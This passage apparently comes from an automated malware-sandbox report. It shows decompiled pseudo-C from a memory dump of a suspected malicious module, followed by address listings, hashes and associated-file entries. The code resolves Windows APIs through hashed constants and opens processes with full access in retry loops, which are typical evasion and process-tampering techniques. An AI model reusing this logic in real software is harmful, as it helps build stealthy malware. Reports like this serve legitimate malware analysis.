						 *((intOrPtr*)(_t907 - 8)) = _v196;
						 *((intOrPtr*)(_t907 - 4)) =  *((intOrPtr*)(_t907 + 0x110));
						asm("movq [ebx], xmm0");
						E705C3BA0(_t951, _t907 + 0x120 - 0x128, __eflags, _t907 + 0x120, 0x40, _t907);
						_v192 = 0;
						while(1) {
							_t561 = E705BF558( &_v208, 0);
							_push(E705BF568( &_v212));
							_push(_v160);
							_push(_v180);
							_push(_v444);
							_push(_t950);
							_t867 = _t561;
							__eflags = E705BA298( &_v564, _t867);
							if(__eflags != 0) {
								break;
							}
							_t585 = E705BA5A4( &_v580, __eflags);
							_v460 = _t867;
							_t950 = _t585;
							__eflags = _t950 - 0xffffffffffffffff | _t867 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t867 - 0xffffffffffffffff) == 0) {
								L49:
								E705BF6F0(_t955 + 0x174);
								goto L50;
							}
							_t874 =  &_v180;
							_t589 =  *_t874 + 1;
							 *_t874 = _t589;
							__eflags = _t589 - 0xa;
							if(_t589 != 0xa) {
								continue;
							}
							goto L49;
						}
						_v180 = 0;
						while(1) {
							_t955 = _t955 + 0xffffffd8;
							asm("pxor xmm0, xmm0");
							_v640 = _t950;
							_v636 = _v460;
							_t868 = _v196;
							_v632 = _t868;
							_v628 = _v176;
							_t806 =  &_v580;
							_v624 =  *((intOrPtr*)(_t806 + 0x198));
							_v620 =  *((intOrPtr*)(_t806 + 0x184));
							asm("movq [esp+0x18], xmm0");
							asm("movq [esp+0x20], xmm0");
							__eflags = E705BAD04(__eflags);
							if(__eflags != 0) {
								break;
							}
							_t579 = E705BA5A4( &_v616, __eflags);
							_v496 = _t868;
							_t950 = _t579;
							__eflags = _t950 - 0xffffffffffffffff | _t868 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t868 - 0xffffffffffffffff) == 0) {
								goto L49;
							}
							_t872 =  &_v216;
							_t584 =  *_t872 + 1;
							 *_t872 = _t584;
							__eflags = _t584 - 0xa;
							if(__eflags != 0) {
								continue;
							}
							goto L49;
						}
						_push(0);
						_t869 = _v164;
						__eflags = _t869;
						_t870 =  !=  ? _t869 + 0xc : _t869;
						_push( !=  ? _t869 + 0xc : _t869);
						_t567 = E705BC3A8(_t869,  &_v416, 0x2710);
						E705BF6F0(_t955 + 0x184);
						E705BB608( &_v448);
						E705BCDE0( &_v416, __eflags);
						E705BF6F0( &_v480);
						E705BF6F0( &_v464);
						E705BF6F0( &_v432);
						E705BF6F0( &_v632);
						E705BB680( &_v592);
						E705BF6F0( &_v608);
						__eflags = _t567;
						return 0 | _t567 == 0x00000000;
					}
					_v388 = 0;
					do {
						E705BF620(_t955 + 0x188, 0);
						_push(0x23627913);
						_push(_t955 + 0x1cc);
						E705C1D00();
						E705BDD7C(_t955 + 0x1d0 - 8, _t955 + 0x1d0);
						_t879 = 0x7fffffff;
						E705BF578( &_v168, __eflags, _v92, E705BE94C(_v92, 0x7fffffff));
						E705BE054( &_v100);
						E705BD098( &_v108);
						_t836 =  &_v176;
						_t665 =  *((intOrPtr*)(_t836 + 0x28));
						 *((intOrPtr*)(_t836 - 0xf0)) = _v156;
						__eflags = E705BF568(_t836);
						if(__eflags <= 0) {
							L12:
							_t955 = _t955 + 0xffffffd8;
							asm("movq xmm0, [esp+0xac]");
							asm("pxor xmm1, xmm1");
							_t837 =  &_v528;
							_v588 = _t950;
							_v584 =  *((intOrPtr*)(_t837 + 0x78));
							asm("movq [esp+0x8], xmm0");
							_v572 =  *((intOrPtr*)(_t837 + 0x198));
							_v568 =  *((intOrPtr*)(_t837 + 0x184));
							asm("movq [esp+0x18], xmm1");
							asm("movq [esp+0x20], xmm1");
							_t622 = E705BAD04(__eflags);
							__eflags = _t622;
							if(_t622 != 0) {
								E705C218C(0x3e8, _t879, _t950);
								E705BF6F0( &_v196);
								E705BADB8( &_v564,  &(( &_v172)[5]), __eflags,  &_v172);
								_t881 =  &_v176;
								__eflags =  *_t881 | _t881[1];
								if(__eflags != 0) {
									goto L18;
								}
								_t629 = E705BA5A4( &_v564, __eflags);
								_v444 = _t881;
								_t950 = _t629;
								__eflags = _t950 - 0xffffffffffffffff | _t881 - 0xffffffffffffffff;
								if((_t950 - 0xffffffffffffffff | _t881 - 0xffffffffffffffff) == 0) {
									goto L50;
								}
								goto L16;
							}
							L13:
							E705BF6F0( &_v196);
							goto L50;
						}
						_v404 = 0;
						while(1) {
							_t635 = E705BF558( &_v160, _v404);
							_t879 = _t635;
							_t955 = _t955 + 0xffffffd8;
							asm("movq xmm0, [esp+0x94]");
							_t844 =  &_v532;
							asm("movq xmm1, [0x705cb790]");
							_v592 = _t950;
							_v588 =  *((intOrPtr*)(_t844 + 0x78));
							asm("movq [esp+0x8], xmm0");
							_v576 = _t665;
							_v572 =  *((intOrPtr*)(_t844 + 0x80));
							_v568 =  *_t635 & 0x000000ff;
							_v564 = 0;
							asm("movq [esp+0x20], xmm1");
							_t638 = E705BAD04(__eflags);
							__eflags = _t638;
							if(_t638 == 0) {
								goto L13;
							}
							_t845 = 0x64;
							E705C218C(_t845, _t879, _t950);
							_t665 = _t665 + 1;
							asm("adc dword [ecx-0xf0], 0x0");
							 *((intOrPtr*)( &_v196 - 0xf4)) =  *((intOrPtr*)( &_v196 - 0xf4)) + 1;
							__eflags = E705BF568( &_v196) - _v440;
							if(__eflags > 0) {
								continue;
							}
							goto L12;
						}
						goto L13;
						L16:
						_t882 =  &_v432;
						_t633 =  *_t882 + 1;
						 *_t882 = _t633;
						__eflags = _t633 - 0xa;
					} while (_t633 != 0xa);
					goto L50;
				}
				L1:
				E705BF6F0( &_v532);
				E705BB680( &_v492);
				E705BF6F0( &_v508);
				return 0;
			}

0x705b9144
0x705b9148
0x705b914e
0x705b9150
0x705b9161
0x705b9164
0x705b916b
0x705b9174
0x705b917b
0x705b917f
0x705b9188
0x705b918f
0x705b9197
0x705b919c
0x705b91ab
0x705b91af
0x705b91c4
0x705b91da
0x705b91e8
0x705b91e9
0x705b91ea
0x705b91eb
0x705b91ec
0x705b91f3
0x705b91f7
0x705b9201
0x705b9216
0x705b922c
0x705b923a
0x705b923b
0x705b923c
0x705b923d
0x705b923e
0x705b9245
0x705b9249
0x705b9253
0x705b9268
0x705b927e
0x705b928c
0x705b928d
0x705b928e
0x705b928f
0x705b9290
0x705b9297
0x705b929b
0x705b92a5
0x705b92ba
0x705b92d0
0x705b92de
0x705b92df
0x705b92e0
0x705b92e1
0x705b92e2
0x705b92e9
0x705b92ed
0x705b92f7
0x705b930c
0x705b9322
0x705b9330
0x705b9331
0x705b9332
0x705b9333
0x705b9334
0x705b933b
0x705b933f
0x705b9349
0x705b935e
0x705b9374
0x705b9382
0x705b9383
0x705b9384
0x705b9385
0x705b938e
0x705b9390
0x705b939b
0x705b93a0
0x705b93a5
0x705b93b1
0x705b93b6
0x705b93bb
0x705b93c7
0x705b93cc
0x705b93d1
0x705b93dd
0x705b93e2
0x705b93e7
0x705b93f3
0x705b93f8
0x705b93fd
0x705b9409
0x705b940e
0x705b941a
0x705b9420
0x705b9430
0x705b9435
0x705b943e
0x705b9447
0x705b947e
0x705b9487
0x705b948c
0x705b9497
0x705b94a1
0x705b94a7
0x705b94b9
0x705b94cf
0x705b94dd
0x705b94de
0x705b94df
0x705b94e0
0x705b94e1
0x705b94e8
0x705b94f2
0x705b94f8
0x705b950a
0x705b9520
0x705b952e
0x705b952f
0x705b9530
0x705b9531
0x705b9532
0x705b9539
0x705b9543
0x705b9549
0x705b955b
0x705b9571
0x705b957f
0x705b9580
0x705b9581
0x705b9582
0x705b9583
0x705b9586
0x705b9589
0x705b959f
0x705b95a4
0x705b95a8
0x705b95b3
0x705b95b8
0x705b95bd
0x705b95c9
0x705b95ce
0x705b95d3
0x705b95e7
0x705b95ef
0x705b95f6
0x705b9606
0x705b9614
0x705b9620
0x705b9622
0x705b9629
0x705b963c
0x705b9643
0x705b965c
0x705b966a
0x705b9681
0x705b968f
0x705b9694
0x705b96a0
0x705b96ad
0x705b96b4
0x705b96c9
0x705b96ce
0x705b96d5
0x705b96dc
0x705b96e3
0x705ba1d7
0x705ba1de
0x705ba1ea
0x705ba1f6
0x00000000
0x705ba1f6
0x705b96f0
0x705b96f7
0x00000000
0x00000000
0x705b970c
0x705b9711
0x705b9722
0x705b9727
0x705b9733
0x705b973a
0x705b9740
0x705b9745
0x705b9748
0x705b974e
0x705b975c
0x705b975d
0x705b9761
0x705b9765
0x705b9769
0x705b977e
0x705b9789
0x705b978a
0x705b978e
0x705b9792
0x705b9796
0x705b97a0
0x705b97b6
0x705b97b7
0x705b97bb
0x705b97bf
0x705b97c3
0x705b97df
0x705b97f5
0x705b97f5
0x705b97fb
0x705b97fd
0x705b9800
0x705b9805
0x705b980c
0x705b9810
0x705b9814
0x705b981a
0x705b9820
0x705b9832
0x705b9848
0x705b9856
0x705b9857
0x705b9858
0x705b9859
0x705b985a
0x705b9861
0x705b986b
0x705b9871
0x705b9883
0x705b9899
0x705b98a7
0x705b98a8
0x705b98a9
0x705b98aa
0x705b98ab
0x705b98b2
0x705b98bc
0x705b98c2
0x705b98d4
0x705b98ea
0x705b98f8
0x705b98f9
0x705b98fa
0x705b98fb
0x705b98fc
0x705b9903
0x705b990d
0x705b9913
0x705b9925
0x705b993b
0x705b9949
0x705b994a
0x705b994b
0x705b994c
0x705b994d
0x705b9950
0x705b9954
0x705b9958
0x705b995e
0x705b9964
0x705b9976
0x705b998c
0x705b999a
0x705b999b
0x705b999c
0x705b999d
0x705b999e
0x705b99a5
0x705b99af
0x705b99b5
0x705b99c7
0x705b99dd
0x705b99eb
0x705b99ec
0x705b99ed
0x705b99ee
0x705b99ef
0x705b99f6
0x705b9a00
0x705b9a06
0x705b9a18
0x705b9a2e
0x705b9a3c
0x705b9a3d
0x705b9a3e
0x705b9a3f
0x705b9a40
0x705b9a47
0x705b9a51
0x705b9a57
0x705b9a69
0x705b9a7f
0x705b9a8d
0x705b9a8e
0x705b9a8f
0x705b9a90
0x705b9a96
0x705b9a99
0x705b9a9b
0x705b9aa6
0x705b9aab
0x705b9ab0
0x705b9abf
0x705b9ac4
0x705b9ac9
0x705b9ad8
0x705b9add
0x705b9ae2
0x705b9af1
0x705b9af6
0x705b9afb
0x705b9b0a
0x705b9b0f
0x705b9b14
0x705b9b23
0x705b9b28
0x705b9b2d
0x705b9b3c
0x705b9b41
0x705b9b46
0x705b9b55
0x705b9b5a
0x705b9b63
0x705b9b6b
0x705b9b70
0x705b9b77
0x705b9b84
0x705b9b86
0x705ba1bf
0x705ba1c6
0x705ba1d2
0x00000000
0x705ba1d2
0x705b9b8c
0x705b9b95
0x705b9b98
0x705b9db0
0x705b9db0
0x705b9dbb
0x705b9ddf
0x705b9de1
0x00000000
0x00000000
0x705b9de7
0x705b9dec
0x705b9df3
0x705b9e00
0x705b9e02
0x00000000
0x00000000
0x705b9e08
0x705b9e11
0x705b9e12
0x705b9e14
0x705b9e17
0x00000000
0x00000000
0x00000000
0x705b9e19
0x705b9e1e
0x705b9e29
0x705b9e29
0x705b9e2e
0x705b9e35
0x705b9e3c
0x705b9e43
0x705b9e48
0x705b9e53
0x705b9e55
0x00000000
0x00000000
0x705b9e5b
0x705b9e60
0x705b9e67
0x705b9e74
0x705b9e76
0x00000000
0x00000000
0x705b9e7c
0x705b9e85
0x705b9e86
0x705b9e88
0x705b9e8b
0x00000000
0x00000000
0x00000000
0x705b9e8d
0x705b9e9b
0x705b9ea3
0x705b9eae
0x705b9eb5
0x705b9ebc
0x705b9ec0
0x705b9ec4
0x705b9eca
0x705b9ed5
0x705b9ee0
0x705b9ee5
0x705b9ee7
0x00000000
0x00000000
0x705b9eed
0x705b9ef8
0x705b9f0e
0x705b9f1e
0x705b9f20
0x00000000
0x00000000
0x705b9f26
0x705b9f2b
0x705b9f32
0x705b9f3f
0x705b9f41
0x00000000
0x00000000
0x705b9f47
0x705b9f50
0x705b9f51
0x705b9f53
0x705b9f56
0x00000000
0x00000000
0x00000000
0x705b9f58
0x705b9f5d
0x705b9f68
0x705b9f71
0x705b9f84
0x705b9f85
0x705b9f8c
0x705b9f93
0x705b9f9a
0x705b9f9b
0x705b9fa6
0x705b9fa8
0x00000000
0x00000000
0x705b9fae
0x705b9fb3
0x705b9fba
0x705b9fc7
0x705b9fc9
0x00000000
0x00000000
0x705b9fcf
0x705b9fd8
0x705b9fd9
0x705b9fdb
0x705b9fde
0x00000000
0x00000000
0x00000000
0x705b9fe0
0x705ba000
0x705ba005
0x705ba007
0x00000000
0x00000000
0x705ba016
0x705ba022
0x705ba02d
0x705ba039
0x705ba043
0x705ba043
0x705ba046
0x705ba04e
0x705ba05a
0x705ba069
0x705ba071
0x705ba074
0x705ba07d
0x705ba08d
0x705ba092
0x705ba09d
0x705ba0a6
0x705ba0b9
0x705ba0ba
0x705ba0c1
0x705ba0c8
0x705ba0cf
0x705ba0d0
0x705ba0db
0x705ba0dd
0x00000000
0x00000000
0x705ba0e3
0x705ba0e8
0x705ba0ef
0x705ba0fa
0x705ba0fc
0x705ba1b3
0x705ba1ba
0x00000000
0x705ba1ba
0x705ba102
0x705ba10b
0x705ba10c
0x705ba10e
0x705ba111
0x00000000
0x00000000
0x00000000
0x705ba113
0x705ba118
0x705ba123
0x705ba123
0x705ba126
0x705ba12a
0x705ba134
0x705ba138
0x705ba13f
0x705ba14a
0x705ba14e
0x705ba158
0x705ba162
0x705ba166
0x705ba16c
0x705ba177
0x705ba179
0x00000000
0x00000000
0x705ba183
0x705ba188
0x705ba18f
0x705ba19a
0x705ba19c
0x00000000
0x00000000
0x705ba19e
0x705ba1a7
0x705ba1a8
0x705ba1aa
0x705ba1ad
0x00000000
0x00000000
0x00000000
0x705ba1ad
0x705ba200
0x705ba202
0x705ba209
0x705ba20e
0x705ba211
0x705ba21f
0x705ba230
0x705ba23c
0x705ba248
0x705ba254
0x705ba260
0x705ba26c
0x705ba275
0x705ba27e
0x705ba287
0x705ba28e
0x00000000
0x705ba290
0x705b9b9e
0x705b9ba9
0x705b9bb2
0x705b9bb7
0x705b9bc3
0x705b9bc4
0x705b9bd4
0x705b9be2
0x705b9bf5
0x705b9c01
0x705b9c0d
0x705b9c19
0x705b9c20
0x705b9c23
0x705b9c2e
0x705b9c30
0x705b9cdb
0x705b9cdb
0x705b9cde
0x705b9ce7
0x705b9ceb
0x705b9cef
0x705b9cf5
0x705b9cf9
0x705b9d05
0x705b9d0f
0x705b9d13
0x705b9d19
0x705b9d1f
0x705b9d24
0x705b9d26
0x705b9d3e
0x705b9d4a
0x705b9d5e
0x705b9d63
0x705b9d6c
0x705b9d6f
0x00000000
0x00000000
0x705b9d75
0x705b9d7a
0x705b9d81
0x705b9d8e
0x705b9d90
0x00000000
0x00000000
0x00000000
0x705b9d90
0x705b9d28
0x705b9d2f
0x00000000
0x705b9d2f
0x705b9c36
0x705b9c41
0x705b9c4f
0x705b9c54
0x705b9c56
0x705b9c59
0x705b9c62
0x705b9c66
0x705b9c6e
0x705b9c74
0x705b9c78
0x705b9c7e
0x705b9c8b
0x705b9c8f
0x705b9c93
0x705b9c9b
0x705b9ca1
0x705b9ca6
0x705b9ca8
0x00000000
0x00000000
0x705b9cac
0x705b9cad
0x705b9cb2
0x705b9cbc
0x705b9cc3
0x705b9cce
0x705b9cd5
0x00000000
0x00000000
0x00000000
0x705b9cd5
0x00000000
0x705b9d96
0x705b9d96
0x705b9d9f
0x705b9da0
0x705b9da2
0x705b9da2
0x00000000
0x705b9dab
0x705b9449
0x705b944d
0x705b9456
0x705b945f
0x00000000

Strings

$EA, xrefs: 705B91E1

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: $EA
API String ID: 0-4251458306
Opcode ID: e0346acea2aed82de269f37998f495c6361fbb32a707394b70ff249b99cf8ea3
Instruction ID: 56f5e6383e0734cd65b6e9d0e4f2c9408dd1eed3ae6d5042648667d99123daf1
Opcode Fuzzy Hash: e0346acea2aed82de269f37998f495c6361fbb32a707394b70ff249b99cf8ea3
Instruction Fuzzy Hash: B3A26C715047419EC721DF24C886BDEBBF4AFD6300F408A2EB4999B1A1EF74B949CB52

Uniqueness

Uniqueness Score: -1.00%

Function 705BA5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E705BA5A4(signed int* __ecx, void* __eflags) {
				void* __esi;
				void* __ebp;
				void* _t182;
				signed int _t183;
				signed int* _t188;
				void* _t198;
				void* _t199;
				void* _t228;
				void* _t229;
				void* _t242;
				void* _t243;
				void* _t251;
				signed int* _t271;
				void* _t282;
				void* _t284;
				void* _t285;
				void* _t296;
				signed int* _t308;
				void* _t324;
				signed int _t398;
				signed int _t402;
				intOrPtr* _t403;
				intOrPtr* _t404;
				signed int _t406;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t412;
				void* _t413;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t419;
				void* _t420;
				signed int _t421;
				void* _t422;
				signed int _t424;
				signed int _t429;
				signed int _t433;
				signed int _t434;
				signed int _t437;
				intOrPtr* _t439;

				_t308 = __ecx;
				 *(_t439 + 0x78) = 0;
				 *_t439 = __ecx + 8;
				 *((intOrPtr*)(_t439 + 4)) = __ecx + 0x20;
				while(1) {
					_t392 =  *_t308;
					E705BB714(_t439 + 0x24, _t392, 0x7fffffff);
					if(E705BF56C(_t439 + 0x24) == 0) {
						goto L3;
					} else {
						_t308[0xc] = 0;
						E705BF6F0(_t439 + 0x24);
					}
					L63:
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					L65:
					if((_t407 | _t398) != 0) {
						L68:
						return _t407;
					}
					if( *(_t439 + 0x78) != 0x20) {
						E705C218C(0x5dc, _t392, _t407);
						 *(_t439 + 0x78) =  *(_t439 + 0x78) + 1;
						continue;
					}
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					goto L68;
					L3:
					__eflags = _t308[1];
					if(_t308[1] <= 0) {
						L21:
						__eflags =  *(_t439 + 0x20);
						if( *(_t439 + 0x20) <= 0) {
							L33:
							E705BF6F0(_t439 + 0x24);
							__eflags = _t308[0xc];
							if(_t308[0xc] == 0) {
								L46:
								 *((intOrPtr*)(_t439 + 8)) = 0;
								 *((intOrPtr*)(_t439 + 0xc)) = 0;
								E705BF620(_t439 + 0x14, 0);
								 *((intOrPtr*)(_t439 + 0x38)) = 0;
								 *(_t439 + 0x34) =  *_t308;
								E705BF620(_t439 + 0x40, 0);
								_t182 = 0x40;
								__eflags = _t308[7] - 0x40;
								_t183 =  <  ? _t308[7] : _t182;
								 *(_t439 + 0x74) = _t183;
								__eflags = _t183;
								if(_t183 <= 0) {
									L57:
									asm("movq xmm0, [0x705cb7a8]");
									asm("movq [esp+0x84], xmm0");
									_t406 = E705C2F8C(0xa5eabdf8, 0xd1a06a90);
									__eflags = _t406;
									if(_t406 == 0) {
										_t424 = 0;
										__eflags = 0;
										L61:
										__eflags = _t424 - 0x3f;
										if(_t424 <= 0x3f) {
											__eflags = _t424 << 2;
											_t308[0xc] =  *(E705BF558( *((intOrPtr*)(_t439 + 8)), _t424 << 2));
											_t188 = E705BF558( *((intOrPtr*)(_t439 + 4)), _t424 << 2);
											_t407 = _t308[0xc];
											asm("cdq");
											_t308[0xd] =  *_t188;
											_t398 = _t392;
											E705BB680(_t439 + 0x34);
											E705BB680(_t439 + 8);
											goto L65;
										}
										L62:
										E705BB680(_t439 + 0x34);
										E705BB680(_t439 + 8);
										goto L63;
									}
									_t392 = E705BF558(_t439 + 0x14, 0);
									_t198 =  *_t406( *((intOrPtr*)(_t439 + 0xc)), _t392, 1, 0, _t439 + 0x84);
									_t133 = _t198 - 0x80; // -128
									_t199 = _t133;
									__eflags = _t199 - 0x3f;
									_t424 =  <=  ? _t199 : _t198;
									__eflags = _t424 - 0x102;
									if(_t424 == 0x102) {
										goto L62;
									}
									goto L61;
								}
								_t437 = 0;
								__eflags = 0;
								while(1) {
									E705BCB48(_t439 + 0x4c);
									_t392 = 0;
									_t324 = _t439 + 0x4c;
									 *((char*)(_t324 + 4)) = 0;
									 *((intOrPtr*)(_t324 + 0x1c)) = 0;
									__eflags = E705BC33C(_t324);
									if(__eflags != 0) {
										break;
									}
									E705BF8C4(_t439 + 0x14, E705BF568(_t439 + 0x10) + 4);
									 *((intOrPtr*)(E705BF558(_t439 + 0x14, E705BF568(_t439 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t439 + 0x4c));
									 *((intOrPtr*)(_t439 + 0xc)) =  *((intOrPtr*)(_t439 + 0xc)) + 1;
									_t409 = E705C2F8C(0xa5eabdf8, 0xf3119fba);
									__eflags = _t409;
									if(_t409 == 0) {
										L51:
										_t392 =  *(_t439 + 0x68);
										__eflags = _t392;
										if(__eflags == 0) {
											break;
										}
										__eflags = _t392 - 0xffffffff;
										if(__eflags != 0) {
											E705BF8C4(_t439 + 0x40, E705BF568(_t439 + 0x3c) + 4);
											 *(E705BF558(_t439 + 0x40, E705BF568(_t439 + 0x3c) + 0xfffffffc)) =  *(_t439 + 0x68);
											 *((intOrPtr*)(_t439 + 0x4c - 0x14)) =  *((intOrPtr*)(_t439 + 0x4c - 0x14)) + 1;
											E705BCDE0(_t439 + 0x4c, __eflags);
											_t437 = _t437 + 1;
											__eflags = _t437 -  *(_t439 + 0x74);
											if(_t437 <  *(_t439 + 0x74)) {
												continue;
											}
											_t411 = 0;
											__eflags = 0;
											do {
												E705BF558( *((intOrPtr*)(_t439 + 8)), _t411 * 4);
												E705BF558(_t439 + 0x40, _t411 * 4);
												_t439 = _t439 + 0xffffffd8;
												asm("cdq");
												asm("pxor xmm5, xmm5");
												asm("movd xmm1, dword [ebp]");
												asm("movd xmm4, dword [edi]");
												asm("movd xmm0, edx");
												asm("cdq");
												asm("punpckldq xmm1, xmm0");
												asm("movq xmm2, [ebx+0x38]");
												asm("movq [esp], xmm1");
												asm("movd xmm3, edx");
												asm("punpckldq xmm4, xmm3");
												asm("movq [esp+0x8], xmm2");
												asm("movq [esp+0x10], xmm4");
												asm("movq [esp+0x18], xmm5");
												asm("movq [esp+0x20], xmm5");
												E705BAD04(__eflags);
												_t411 = _t411 + 1;
												__eflags = _t411 -  *(_t439 + 0x74);
											} while (_t411 <  *(_t439 + 0x74));
											goto L57;
										}
										break;
									}
									_t392 = _t439 + 0x68;
									 *_t409(0xffffffff,  *((intOrPtr*)(_t439 + 0x60)),  *_t308, _t439 + 0x68, 0, 0, 2);
									__eflags = 0;
									if(0 != 0) {
										break;
									}
									goto L51;
								}
								E705BCDE0(_t439 + 0x4c, __eflags);
								goto L62;
							}
							_t402 = _t308[1];
							__eflags = _t402;
							if(_t402 <= 0) {
								goto L46;
							}
							_t412 = 0;
							__eflags = 0;
							while(1) {
								_t429 = _t412 * 4;
								_t392 =  *(E705BF558( *((intOrPtr*)(_t439 + 4)), _t429));
								__eflags = _t392 - _t308[0xd];
								if(_t392 == _t308[0xd]) {
									break;
								}
								_t412 = _t412 + 1;
								__eflags = _t412 - _t402;
								if(_t412 < _t402) {
									continue;
								}
								goto L46;
							}
							__eflags = _t412 - 0xffffffff;
							if(_t412 != 0xffffffff) {
								_t228 = E705BF568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t228 - _t429;
								if(_t228 > _t429) {
									_t392 = 4 + _t412 * 4;
									 *(_t439 + 0x6c) = _t392;
									_t251 = E705BF568( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t251 -  *(_t439 + 0x6c);
									if(_t251 >  *(_t439 + 0x6c)) {
										 *((intOrPtr*)(_t439 + 0x90)) = E705BF558( *((intOrPtr*)(_t439 + 8)), _t429);
										 *((intOrPtr*)(_t439 + 0x8c)) = E705BF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x6c));
										E705C382C( *((intOrPtr*)(_t439 + 0x98)),  *((intOrPtr*)(_t439 + 0x90)), E705BF568( *((intOrPtr*)(_t439 + 4))) -  *(_t439 + 0x6c));
										_t439 = _t439 + 0xc;
									}
									E705BF8C4( *((intOrPtr*)(_t439 + 8)), E705BF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t74 =  &(_t308[7]);
									 *_t74 = _t308[7] - 1;
									__eflags =  *_t74;
								}
								_t229 = E705BF568( *_t439);
								__eflags = _t229 - _t429;
								if(_t229 > _t429) {
									_t413 = 4 + _t412 * 4;
									_t242 = E705BF568( *_t439);
									__eflags = _t242 - _t413;
									if(_t242 > _t413) {
										_t243 = E705BF558( *((intOrPtr*)(_t439 + 4)), _t429);
										 *((intOrPtr*)(_t439 + 0x94)) = E705BF558( *((intOrPtr*)(_t439 + 4)), _t413);
										E705C382C(_t243,  *((intOrPtr*)(_t439 + 0x98)), E705BF568( *_t439) - _t413);
										_t439 = _t439 + 0xc;
									}
									E705BF8C4( *((intOrPtr*)(_t439 + 4)), E705BF568( *_t439) + 0xfffffffc);
									_t79 =  &(_t308[1]);
									 *_t79 = _t308[1] - 1;
									__eflags =  *_t79;
								}
								E705BF8C4( *((intOrPtr*)(_t439 + 8)), E705BF568( *((intOrPtr*)(_t439 + 4))) + 4);
								 *(E705BF558( *((intOrPtr*)(_t439 + 8)), E705BF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t308[0xc];
								_t308[7] = _t308[7] + 1;
								E705BF8C4( *((intOrPtr*)(_t439 + 4)), E705BF568( *_t439) + 4);
								 *(E705BF558( *((intOrPtr*)(_t439 + 4)), E705BF568( *_t439) + 0xfffffffc)) = _t308[0xd];
								_t308[1] = _t308[1] + 1;
							}
							goto L46;
						}
						_t433 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x70) = _t433 * 4;
							_t403 = E705BF558(_t439 + 0x28, _t433 * 4);
							_t392 = _t308[1];
							 *(_t439 + 0x80) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L29:
								_t414 = E705C2F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t414;
								if(_t414 != 0) {
									_t416 =  *_t414(0x1fffff, 0,  *((intOrPtr*)(E705BF558(_t439 + 0x28,  *(_t439 + 0x70)))));
									__eflags = _t416;
									if(_t416 != 0) {
										E705BF8C4( *((intOrPtr*)(_t439 + 8)), E705BF568( *((intOrPtr*)(_t439 + 4))) + 4);
										 *(E705BF558( *((intOrPtr*)(_t439 + 8)), E705BF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t416;
										_t308[7] = _t308[7] + 1;
										_t271 = E705BF558(_t439 + 0x28,  *(_t439 + 0x70));
										E705BF8C4( *((intOrPtr*)(_t439 + 4)), E705BF568( *_t439) + 4);
										 *(E705BF558( *((intOrPtr*)(_t439 + 4)), E705BF568( *_t439) + 0xfffffffc)) =  *_t271;
										_t57 =  &(_t308[1]);
										 *_t57 = _t308[1] + 1;
										__eflags =  *_t57;
									}
								}
								goto L32;
							}
							_t415 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E705BF558( *((intOrPtr*)(_t439 + 4)), _t415 * 4));
								__eflags = _t392 -  *_t403;
								if(_t392 ==  *_t403) {
									break;
								}
								_t415 = _t415 + 1;
								__eflags = _t415 -  *(_t439 + 0x80);
								if(_t415 <  *(_t439 + 0x80)) {
									continue;
								}
								goto L29;
							}
							__eflags = _t415 - 0xffffffff;
							if(_t415 == 0xffffffff) {
								goto L29;
							}
							L32:
							_t433 = _t433 + 1;
							__eflags = _t433 -  *(_t439 + 0x20);
						} while (_t433 <  *(_t439 + 0x20));
						goto L33;
					} else {
						_t434 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x64) = _t434 * 4;
							_t404 = E705BF558( *((intOrPtr*)(_t439 + 4)), _t434 * 4);
							_t392 =  *(_t439 + 0x20);
							 *(_t439 + 0x7c) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L11:
								_t282 = E705BF568( *_t439);
								__eflags = _t282 -  *(_t439 + 0x64);
								if(_t282 >  *(_t439 + 0x64)) {
									_t420 = 4 + _t434 * 4;
									_t296 = E705BF568( *_t439);
									__eflags = _t296 - _t420;
									if(_t296 > _t420) {
										 *((intOrPtr*)(_t439 + 0x9c)) = E705BF558( *((intOrPtr*)(_t439 + 4)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0x98)) = E705BF558( *((intOrPtr*)(_t439 + 4)), _t420);
										E705C382C( *((intOrPtr*)(_t439 + 0xa4)),  *((intOrPtr*)(_t439 + 0x9c)), E705BF568( *_t439) - _t420);
										_t439 = _t439 + 0xc;
									}
									E705BF8C4( *((intOrPtr*)(_t439 + 4)), E705BF568( *_t439) + 0xfffffffc);
									_t22 =  &(_t308[1]);
									 *_t22 = _t308[1] - 1;
									__eflags =  *_t22;
								}
								_t419 = E705C2F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t419;
								if(_t419 != 0) {
									 *_t419( *((intOrPtr*)(E705BF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64)))));
								}
								_t284 = E705BF568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t284 -  *(_t439 + 0x64);
								if(_t284 >  *(_t439 + 0x64)) {
									_t422 = 4 + _t434 * 4;
									_t285 = E705BF568( *((intOrPtr*)(_t439 + 4)));
